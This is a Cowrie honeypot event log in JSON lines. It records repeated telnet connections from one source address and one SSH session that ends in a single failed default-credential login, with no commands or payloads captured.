{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60692,"dst_ip":"159.203.135.109","dst_port":23,"session":"af5f9a824adc","protocol":"telnet","message":"New connection: 69.6.196.124:60692 (159.203.135.109:23) [session: af5f9a824adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:48.937824Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":60754,"dst_ip":"159.203.135.109","dst_port":23,"session":"358e954bc760","protocol":"telnet","message":"New connection: 69.6.196.124:60754 (159.203.135.109:23) [session: 358e954bc760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:48.992842Z"}
{"eventid":"cowrie.session.closed","duration":31.080020427703857,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:49.250956Z","src_ip":"69.6.196.124","session":"b99307a270dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.602144241333008,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:49.318366Z","src_ip":"69.6.196.124","session":"025244e5fba2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.869842529296875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:49.365247Z","src_ip":"69.6.196.124","session":"1dae519c1552","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.934077501296997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:49.525688Z","src_ip":"69.6.196.124","session":"c3be853f1f17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48318,"dst_ip":"159.203.135.109","dst_port":23,"session":"f88da8af951c","protocol":"telnet","message":"New connection: 69.6.196.124:48318 (159.203.135.109:23) [session: f88da8af951c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:49.897305Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48332,"dst_ip":"159.203.135.109","dst_port":23,"session":"b6792b0b0882","protocol":"telnet","message":"New connection: 69.6.196.124:48332 (159.203.135.109:23) [session: b6792b0b0882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:50.398474Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48334,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cfacc42bc4d","protocol":"telnet","message":"New connection: 69.6.196.124:48334 (159.203.135.109:23) [session: 6cfacc42bc4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:50.978843Z"}
{"eventid":"cowrie.session.closed","duration":30.219982862472534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:51.273380Z","src_ip":"69.6.196.124","session":"ba390babda2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48344,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ccdd8409fbd","protocol":"telnet","message":"New connection: 69.6.196.124:48344 (159.203.135.109:23) [session: 7ccdd8409fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:51.410128Z"}
{"eventid":"cowrie.session.closed","duration":30.902539253234863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:51.443129Z","src_ip":"69.6.196.124","session":"65ea4553933a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88528871536255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:51.486719Z","src_ip":"69.6.196.124","session":"fb53eb5e206d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48368,"dst_ip":"159.203.135.109","dst_port":23,"session":"7749e70b5dd7","protocol":"telnet","message":"New connection: 69.6.196.124:48368 (159.203.135.109:23) [session: 7749e70b5dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:51.778724Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48380,"dst_ip":"159.203.135.109","dst_port":23,"session":"c09c85ff3dff","protocol":"telnet","message":"New connection: 69.6.196.124:48380 (159.203.135.109:23) [session: c09c85ff3dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:51.988415Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48386,"dst_ip":"159.203.135.109","dst_port":23,"session":"b52dfa6226e7","protocol":"telnet","message":"New connection: 69.6.196.124:48386 (159.203.135.109:23) [session: b52dfa6226e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:52.198558Z"}
{"eventid":"cowrie.session.closed","duration":31.1087703704834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:52.305619Z","src_ip":"69.6.196.124","session":"4e84fb25bcc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48354,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccdef0919c70","protocol":"telnet","message":"New connection: 69.6.196.124:48354 (159.203.135.109:23) [session: ccdef0919c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:52.747846Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48420,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9b0103eff7d","protocol":"telnet","message":"New connection: 69.6.196.124:48420 (159.203.135.109:23) [session: c9b0103eff7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:52.771113Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48422,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9163e8b5af9","protocol":"telnet","message":"New connection: 69.6.196.124:48422 (159.203.135.109:23) [session: f9163e8b5af9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:52.874254Z"}
{"eventid":"cowrie.session.closed","duration":31.029464721679688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:52.886621Z","src_ip":"69.6.196.124","session":"4f26f41b27d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48378,"dst_ip":"159.203.135.109","dst_port":23,"session":"2560f1572d1a","protocol":"telnet","message":"New connection: 69.6.196.124:48378 (159.203.135.109:23) [session: 2560f1572d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:52.971513Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48444,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7b356b047f4","protocol":"telnet","message":"New connection: 69.6.196.124:48444 (159.203.135.109:23) [session: b7b356b047f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:53.030461Z"}
{"eventid":"cowrie.session.closed","duration":31.27765679359436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:53.049154Z","src_ip":"69.6.196.124","session":"1eb4ecbc5dde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48452,"dst_ip":"159.203.135.109","dst_port":23,"session":"08f0e5929e9b","protocol":"telnet","message":"New connection: 69.6.196.124:48452 (159.203.135.109:23) [session: 08f0e5929e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:53.147550Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48456,"dst_ip":"159.203.135.109","dst_port":23,"session":"2524bbd69f7b","protocol":"telnet","message":"New connection: 69.6.196.124:48456 (159.203.135.109:23) [session: 2524bbd69f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:53.161770Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48472,"dst_ip":"159.203.135.109","dst_port":23,"session":"97bbf3eecd0a","protocol":"telnet","message":"New connection: 69.6.196.124:48472 (159.203.135.109:23) [session: 97bbf3eecd0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:53.350891Z"}
{"eventid":"cowrie.session.closed","duration":30.85467529296875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:53.360942Z","src_ip":"69.6.196.124","session":"7131086a6995","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48396,"dst_ip":"159.203.135.109","dst_port":23,"session":"40da0cabd6d7","protocol":"telnet","message":"New connection: 69.6.196.124:48396 (159.203.135.109:23) [session: 40da0cabd6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:53.387687Z"}
{"eventid":"cowrie.session.closed","duration":31.099256992340088,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:53.394125Z","src_ip":"69.6.196.124","session":"cebf54c92ca4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48478,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5949a0a76ee","protocol":"telnet","message":"New connection: 69.6.196.124:48478 (159.203.135.109:23) [session: b5949a0a76ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:53.478413Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48410,"dst_ip":"159.203.135.109","dst_port":23,"session":"78f3805329fa","protocol":"telnet","message":"New connection: 69.6.196.124:48410 (159.203.135.109:23) [session: 78f3805329fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:53.513991Z"}
{"eventid":"cowrie.session.closed","duration":30.99693465232849,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:53.626397Z","src_ip":"69.6.196.124","session":"0d86558de904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48418,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c8cc40f9dd9","protocol":"telnet","message":"New connection: 69.6.196.124:48418 (159.203.135.109:23) [session: 0c8cc40f9dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:53.707108Z"}
{"eventid":"cowrie.session.closed","duration":31.442458391189575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:53.824634Z","src_ip":"69.6.196.124","session":"bb935b6dfcb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48482,"dst_ip":"159.203.135.109","dst_port":23,"session":"76180841a45b","protocol":"telnet","message":"New connection: 69.6.196.124:48482 (159.203.135.109:23) [session: 76180841a45b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:53.838729Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48494,"dst_ip":"159.203.135.109","dst_port":23,"session":"a285a5cb0d7e","protocol":"telnet","message":"New connection: 69.6.196.124:48494 (159.203.135.109:23) [session: a285a5cb0d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:54.047435Z"}
{"eventid":"cowrie.session.closed","duration":31.852373600006104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:54.151249Z","src_ip":"69.6.196.124","session":"b56130cbcb49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96514582633972,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:54.351594Z","src_ip":"69.6.196.124","session":"e89f85be5607","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48498,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3149bd9ca99","protocol":"telnet","message":"New connection: 69.6.196.124:48498 (159.203.135.109:23) [session: d3149bd9ca99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:54.649848Z"}
{"eventid":"cowrie.session.closed","duration":31.3457772731781,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:54.654288Z","src_ip":"69.6.196.124","session":"d489cc3bffbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48500,"dst_ip":"159.203.135.109","dst_port":23,"session":"93caae166217","protocol":"telnet","message":"New connection: 69.6.196.124:48500 (159.203.135.109:23) [session: 93caae166217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:54.792446Z"}
{"eventid":"cowrie.session.connect","src_ip":"201.184.50.251","src_port":50358,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a23c3cb6d75","protocol":"ssh","message":"New connection: 201.184.50.251:50358 (10.17.0.5:22) [session: 0a23c3cb6d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:54.944910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:54.952402Z","src_ip":"201.184.50.251","session":"0a23c3cb6d75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:55.046244Z","src_ip":"201.184.50.251","session":"0a23c3cb6d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.08788251876831,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:55.368316Z","src_ip":"69.6.196.124","session":"bf35e1a9ce7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.574084997177124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:55.416727Z","src_ip":"69.6.196.124","session":"5f3bb22b5aca","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"admin","message":"login attempt [testuser/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:55.452811Z","src_ip":"201.184.50.251","session":"0a23c3cb6d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.322553157806396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:55.906274Z","src_ip":"69.6.196.124","session":"1b7848990a6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48542,"dst_ip":"159.203.135.109","dst_port":23,"session":"f25448c181fc","protocol":"telnet","message":"New connection: 69.6.196.124:48542 (159.203.135.109:23) [session: f25448c181fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:55.920188Z"}
{"eventid":"cowrie.session.closed","duration":31.475863456726074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:55.929492Z","src_ip":"69.6.196.124","session":"991b710c6476","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48438,"dst_ip":"159.203.135.109","dst_port":23,"session":"b444be0ae9d0","protocol":"telnet","message":"New connection: 69.6.196.124:48438 (159.203.135.109:23) [session: b444be0ae9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:56.075786Z"}
{"eventid":"cowrie.session.closed","duration":30.40581250190735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:56.295159Z","src_ip":"69.6.196.124","session":"35dacbc9ea36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48554,"dst_ip":"159.203.135.109","dst_port":23,"session":"97cdca08d9ee","protocol":"telnet","message":"New connection: 69.6.196.124:48554 (159.203.135.109:23) [session: 97cdca08d9ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:56.323649Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48556,"dst_ip":"159.203.135.109","dst_port":23,"session":"98a17d314e10","protocol":"telnet","message":"New connection: 69.6.196.124:48556 (159.203.135.109:23) [session: 98a17d314e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:56.351255Z"}
{"eventid":"cowrie.session.closed","duration":31.119484663009644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:56.480076Z","src_ip":"69.6.196.124","session":"6f0bb8934d57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:56.548477Z","src_ip":"201.184.50.251","session":"0a23c3cb6d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.50720500946045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:56.631429Z","src_ip":"69.6.196.124","session":"fb6560a07c49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48524,"dst_ip":"159.203.135.109","dst_port":23,"session":"8af94afc88f7","protocol":"telnet","message":"New connection: 69.6.196.124:48524 (159.203.135.109:23) [session: 8af94afc88f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:56.653583Z"}
{"eventid":"cowrie.session.closed","duration":30.734562635421753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:56.659515Z","src_ip":"69.6.196.124","session":"ecc8d4f6bbd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48538,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcd8d128d452","protocol":"telnet","message":"New connection: 69.6.196.124:48538 (159.203.135.109:23) [session: dcd8d128d452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:56.810886Z"}
{"eventid":"cowrie.session.closed","duration":31.73570227622986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:56.981268Z","src_ip":"69.6.196.124","session":"61edcdcd8beb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.87497425079346,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:57.284048Z","src_ip":"69.6.196.124","session":"1a0e965a0355","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12523627281189,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:57.306735Z","src_ip":"69.6.196.124","session":"2f19a2bc2201","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48566,"dst_ip":"159.203.135.109","dst_port":23,"session":"839cb9ba0b2c","protocol":"telnet","message":"New connection: 69.6.196.124:48566 (159.203.135.109:23) [session: 839cb9ba0b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:57.932529Z"}
{"eventid":"cowrie.session.closed","duration":30.798030138015747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:58.267078Z","src_ip":"69.6.196.124","session":"5be8f3d754af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81021022796631,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:58.275374Z","src_ip":"69.6.196.124","session":"2372660aacd5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48516,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f440517b228","protocol":"telnet","message":"New connection: 69.6.196.124:48516 (159.203.135.109:23) [session: 3f440517b228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:58.507683Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48582,"dst_ip":"159.203.135.109","dst_port":23,"session":"96b2516abdaa","protocol":"telnet","message":"New connection: 69.6.196.124:48582 (159.203.135.109:23) [session: 96b2516abdaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:58.707043Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48596,"dst_ip":"159.203.135.109","dst_port":23,"session":"012fe1165d4b","protocol":"telnet","message":"New connection: 69.6.196.124:48596 (159.203.135.109:23) [session: 012fe1165d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:58.834209Z"}
{"eventid":"cowrie.session.closed","duration":31.695706129074097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:58.970780Z","src_ip":"69.6.196.124","session":"266a56b5b9b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.59713888168335,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:59.011234Z","src_ip":"69.6.196.124","session":"83f3335aa78b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91293954849243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:59.274867Z","src_ip":"69.6.196.124","session":"928ff69d027c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":48598,"dst_ip":"159.203.135.109","dst_port":23,"session":"e79756420b54","protocol":"telnet","message":"New connection: 69.6.196.124:48598 (159.203.135.109:23) [session: e79756420b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:59.524559Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57360,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0966739edde","protocol":"telnet","message":"New connection: 69.6.196.124:57360 (159.203.135.109:23) [session: f0966739edde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:59.732263Z"}
{"eventid":"cowrie.session.closed","duration":31.126455307006836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:46:59.748513Z","src_ip":"69.6.196.124","session":"39eadb2ccfb0","protocol":"telnet"}
